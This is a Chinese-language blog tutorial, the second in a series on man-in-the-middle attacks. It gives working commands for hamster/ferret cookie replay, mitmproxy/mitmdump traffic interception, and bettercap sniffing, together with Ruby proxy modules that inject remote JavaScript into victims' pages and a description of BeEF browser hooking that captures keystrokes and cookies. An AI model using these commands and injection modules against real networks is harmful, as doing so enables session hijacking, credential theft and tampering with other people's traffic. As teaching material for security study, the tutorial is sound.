细说中间人攻击(二)

标签: tech | 发表时间:2015-11-23 16:15 | 作者:
出处:https://pannzh.github.io/

细说中间人攻击(一)介绍了比较常见的中间人攻击做法,即用wireshark抓取数据包, 用ettercap来进行出入流量的替换和修改,从而达到监控和修改目标网页的目的。然而中间人攻击的工具繁多,并非只有ettercap一个, 因此这篇博文我将再介绍几种常见的MITM框架以及简单说明其使用方法,以达到方便监控目标和攻击目标的目的。

抓取Cookie本地重现

在我搜索中间人攻击相关主题的时候,发现国内博客提及比较多的cookie盗取所用的软件是ferret&hamster, hamster这个软件是在 2007年黑客大会上 Robert Graham展示用来方便在浏览器中快速重现所捕捉 到的会话的,其中ferret用来扑捉数据或者对已经扑捉的.pcap数据进行格式化处理,生成一个txt文件,然后用hamster 来读取这个txt并且在本机启动一个代理服务器,只要浏览器设置了相对应的地址(本机地址)和端口的代理 进行访问就能看见所有截获的http会话了。由于这个软件年代久远,而且只是在大会上做个demo,并不是很完善的 产品,因此也有比较大的不稳定性,即便如此在如今还是在各种博客里被屡屡提及,所以我也简单介绍下这个工具 的使用。

hamster和ferret可以到官网 http://hamster.erratasec.com下载,但最近似乎没有 更新了,毕竟快是十年前的东西。我是直接在robert的github上下载的c++源代码,总体功能并不复杂,就当学习一下大神 的coding方法了。有一点值得一提,hamster用的是32位的库,因此自己如果是64位操作系统,编译或者运行都需要安装 ia32-libs以及一些使用到的非标准库,同时源代码要进行简单的修改。为了方便我连同依赖直接fork到了 这里

再说使用方法,其实这倒是最简单的,关键就三步:

  1. 抓取指定端口的数据

  2. 用ferret格式化解析本地数据

    #ferret -r file.pcap //生成hamster.txt

  3. hamster打开本地代理服务器,默认端口是1234

    #hamster //在和hamster.txt相同目录下打开

然后打开浏览器,设置代理为 127.0.0.1:1234,打开 http://hamster就能看到所扑捉的所有会话了,如果有cookie信息,也能直接 还原出来。其中第一步可以用任何抓包工具来做,也可以用ferret -i来抓包,这样的话1、2步也可以合并成一步。

中间人代理

HTTP/HTTPS代理服务器有很多,比如Fiddler2,burpsuite和mitmproxy等工具都可以建立一个代理服务器。代理服务器往往用来辅助web开发 和调试,当然也能用于渗透测试即中间人攻击。其中比较轻量级的是mitmproxy,用python编写而成,可以很容易进行拓展和定制。 mitmproxy进行HTTPS代理的过程和我在 细说中间人攻击(一)的最后一节讲的大同小异,简而言之就是mitmproxy本身与服务器和 客户端双向进行SSL链接,当然前提是mitmproxy使用的证书要被信任,不然客户端进行https访问的时候浏览器地址栏会有个不信任证书的提醒。 下面介绍一下mitmproxy工具集中几个常用工具的使用方法。

mitmproxy

mitmproxy是一个交互式的流量监控和分析工具,其操作界面的控制方式类似于vim。直接命令行打开:

  mitmproxy -p 1234

会在本地打开一个代理服务器,端口号为1234。也可以不指定,默认端口号是8080。然后使得目标通过你的这个代理上网,就能在交互界面中看到 所有的POST和GET等请求。还可以指定任意一条请求回车进入查看详细的请求数据,也可以看tab切换respond和detail数据。对于respond的数据还可以根据格式 来进行相应的展现。同时也能按e进行修改请求,然后按r进行回放。不得不说其可视化界面做得很好,所有的浏览请求一目了然。交互式的界面更适合 用于请求的分析。mitmproxy作为一个“中间人”代理,当然也能对数据进行拦截,使用i指定拦截的表达式即可。

mitmdump

与mitmproxy相对的,mitmdump是一个非交互的抓包工具,不过还提供了用python脚本来对数据包进行修改替换的操作,有点类似于ettercap的filter插件。 可以实时修改request和respond每一个细节,当然也可以非实时地对mitmproxy保存的离线包进行操作。

  mitmdump -n -r capture.data -w output.data [filter]

其中capture.data是mitmproxy用w键保存的数据。mitmdump可以对其过滤处理产生新的包。[filter]是过滤的条件,如“~d douban.com“表示特定域名,~h表示 特定header等等。对于新生成的数据包,我们也可以用mitmdump重播:

  mitmdump -n -c output.data

libmproxy

mitmdump的一个主要作用是支持inline脚本,用–script调用,脚本中用到了mitmdump提供的拓展库libmproxy,就像其他python第三方库一样,不过其拥有操纵 http响应每个细节的能力,实乃居家旅行必备。用法很简单:

  mitmdump -s myscript.py -p 1234

如一个修改响应文字内容的inline脚本如下:

  # Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError('Usage: -s "modify-response-body.py old new"')
    # You may want to use Python's argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)

这里需要注意的是不同版本的libmproxy的改动非常大!!我之前是直接apt-get下载的mitmproxy0.8,那时 还没有libmproxy.models,所以要注意自己的版本。建议在github上clone最新版本,用pip+virturlenv进行 包管理十分方便,目前最新版本是mitmproxy0.14.x,最新版还增加了一个mitmweb的工具, 可见其更新速度非常快,这对开源工具来说是一件大好事。

另外在github仓库里还有inline脚本的example,文档也很齐全。除了inline调用以外,我们甚至可以使用libmproxy 来自己用python写一个mitmproxy!而且实现起来也非常简单,因为mitmproxy本身大部分功能都是基于libmproxy里实现的。

“更好的ettercap”——bettercap

很多人可能会问,既然有了ettercap,干嘛还要再弄一个差不多的东西?其实按照bettercap作者的说法,ettercap虽然是个很棒的工具, 但是已经过时了,而且似乎维护也是有气无力。ettercap在大型网络中相当不稳定,在操纵http的payload时往往还需要别的工具来辅助, 比如上面提到的mitmproxy。因此bettercap就诞生啦!

bettercap的操作也十分简单明了,比如在局域网中嗅探所有数据:

  bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

其中-P指定加载的parsers,也可以不指定,默认和ettercap一样全部加载。也可以将数据保存在本地:

  bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

–sniffer-filter参数表示的意思很明显,即只保存目的端口为80的tcp数据(即http)。值得一提的是,这里没有指定网关和网络接口,因为 用的都是默认值,即当前网关和当前默认网卡,当然也可以分别用-G 和 -I 指定。

模块化的透明代理

上面讲mitmproxy的时候已经介绍了代理,而bettercap正好也可以实现类似的功能,在本地启动一个中间人代理服务器并且将数据流量都通过代理收发。

  bettercap --proxy --proxy-port=1234

指定代理端口为1234,默认为8080。这条命令默认只记录http请求,如果指定–proxy-module参数就可以加载你自定义的模块来操纵流量。 自定义的拓展模块用Ruby写成,语法很简单,比如一个修改网页title的例子 hack_title.rb如下:

  class HackTitle < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end  

调用方法

  bettercap --proxy --proxy-module=hack_title.rb

内嵌http服务器

其实这个选项比较鸡肋,不过也是bettercap为了达到它所说的“只用一个工具”的效果吧。其主要用途就是给payload注入JS的时候需要从服务器去请求, bettercap可以配合proxy module很容易一步实现:

  bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

其中inject.rb的代码如下:

  class InjectJS < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end  

目前bettercap的功能还比较简单,但优点是其更新维护非常快,可以说是日新月异,和ettercap等老古董形成鲜明对比呀:D

BeEF

BeEF全称为Browser Exploitation Framework,是一个著名的浏览器劫持框架,也是采用Ruby编写。虽然安装依赖的过程有点繁琐,但用起来着实简单无比, 只需要运行:

  ./beef

运行后会启动一个用户接口服务器和一个挂载BeEF主要JS脚本(hook.js)的服务器,其架构如下:

BeEF-overall

其中用户接口也是一个http服务器,我们只需要在浏览器中打开,就能进入一个展现所有被注入的客户机的管理后台。如果客户端浏览的某个网页payload中加载 了hook.js,那么其一举一动都会发送到我们的UI服务器上,包括鼠标的点击事件,点击位置,键盘事件等等,查看cookie和客户端的机器信息更是不在话下:

hook-interface

针对每一台被劫持的客户端(浏览器),我们还可以对其发送不同的指令,比如播放音乐,锁住页面,打开web摄像头。值得一提的是,BeEF还能配合metasploit 来入侵目标的电脑,从而在目标关闭浏览器后依旧能拥有其计算机的控制权。

后记

中间人攻击的大致方法至此就介绍得差不多了,在总结的过程中自己也学了不少工具的的用法。虽然MITM的工具繁多,但明白其原理才能更好地去使用, 以及对其进行拓展。轮子是个好东西,人类只有几十年有效寿命和有限的精力,却能够不断发展到现在这样科技发达,靠的就是不断理解和使用轮子,把前人 的推论当成定理,可以说人类社会的进步就是一个面向对象编程的过程。但是,也不用把别人的轮子看得过于神秘,说到底中间人也就是接收,解析,发送三步而已。 至于怎么防御这类攻击,最好的方法就是浏览器禁cookie,禁javascript,禁flash,最终还是得和个人的上网体验相权衡,毕竟如果把眼睛都蒙上了,我还上什么网呢。

相关 [中间人 攻击] 推荐:

基于WPAD的中间人攻击

- - WooYun知识库
学习@Her0in《Windows名称解析机制探究及缺陷利用》很受启发,于是对其实际利用做了进一步研究,发现基于WPAD的中间人攻击很是有趣,现将收获分享给大家. 全称网络代理自动发现协议(Web Proxy Autodiscovery Protocol),通过让浏览器自动发现代理服务器,定位代理配置文件,下载编译并运行,最终自动使用代理访问网络.

细说中间人攻击(二)

- - Pans Labyrinth
在 细说中间人攻击(一)介绍了比较常见的中间人攻击做法,即用wireshark抓取数据包, 用ettercap来进行出入流量的替换和修改,从而达到监控和修改目标网页的目的. 然而中间人攻击的工具繁多,并非只有ettercap一个, 因此这篇博文我将再介绍几种常见的MITM框架以及简单说明其使用方法,以达到方便监控目标和攻击目标的目的.

网络安全课堂:“中间人攻击”(MITM)

- - 煎蛋
你拿着刚买的咖啡,连上了咖啡店的WiFi,然后开始工作,这样的动作在之前已经重复了无数遍,一切都和谐无比. 但你不知道的是有人正在监视你,他们监视着你的各种网络活动,盗取你的银行凭证,家庭住址,个人电子邮件和联系人,当你发现的时候,已经晚了. 现在的小偷已经不仅仅是简单的在地铁上偷你的钱包,更高级的是使用网络攻击获取你的各种信息,当你在咖啡馆上网检查你的账户信息的时候,也许黑客就拦截了你电脑和WiFi之间的通信,监视着你的一举一动.

MIT科学家化解中间人攻击,提高无线网络安全

- skymare - 36氪
MIT的研究人员正在努力提高无线网络的安全. 在一项新研究中,研究人员开发出一项名为“防破坏配对(tamper-evident pairing)”的技术,可以停止中间人攻击. 中间人攻击(MITM)是黑客惯用的一种古老的攻击手段,一直到今天还具有极大的扩展空间. 中间人攻击的使用范围非常广泛,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.

记一次被中间人攻击的经历 - 有价值炮灰

- - 博客园_首页
俗话说得好,常在河边走,哪能不湿鞋. 俗话又说了,出来混,早晚要还的. 几篇关于MITM的笔记兼科普文刚发布不久,我自己就遭遇了一次中间人攻击. 无奈由于技不如人,当时花了两天都没. 不过吃一堑长一智,虽然丢了点个人信息,但总算明白了对方的手法. 在此记录一下当时的排查过程,就当. 某天晚上我忙于搭建 我的github page的时候,在某个网站下面突然发现有个巨大的广告弹窗,上面是一张扫地机.

session fixation攻击

- - 互联网 - ITeye博客
什么是session fixation攻击. Session fixation有人翻译成“Session完成攻击”,实际上fixation是确知和确定的意思,在此是指Web服务的会话ID是确知不变的,攻击者为受害着确定一个会话ID从而达到攻击的目的. 在维基百科中专门有个词条 http://en.wikipedia.org/wiki/Session_fixation,在此引述其攻击情景,防范策略参考原文.

浅谈Ddos攻击攻击与防御

- - 80sec
三 常见ddos攻击及防御. 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题等信息,我们并不清楚因为什么原因会遭遇这种无耻的攻击. 因为我们本身并不从事这种类型的攻击,这种攻击技术一般也是比较粗糙的,所以讨论得比较少,但是既然发生了这样的攻击我们觉得分享攻击发生后我们在这个过程中学到得东西,以及针对这种攻击我们的想法才能让这次攻击产生真正的价值,而并不是这样的攻击仅仅浪费大家的时间而已.

警告攻击者

- ZhaoNiuPai - 月光微博客
  广东省深圳市福田区电信ADSL(59.40.120.63)的这位用户,凡事都有个度,事不过三,如果你再对我博客的AdSense进行攻击的话,我可就要报警了,相信深圳公安局根据这个IP抓到你是一件非常容易的事情,想黑别人,千万不要把自己黑进监狱. 分类: 网络日志 | 添加评论(5). 关闭服务器HTTPERR错误日志  (2011-1-12 16:52:8).

Apache防止攻击

- - 小彰
为了防止恶意用户对Apache进行攻击,我们需要安装mod_security这个安全模块. mod_security 1.9.x模块的下载与安装. 下载地址: http://www.modsecurity.org/download/index.html. 建议使用1.9.x,因为2.x的配置指令与1.x完全不同,解压后进入解压目录,执行:.

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.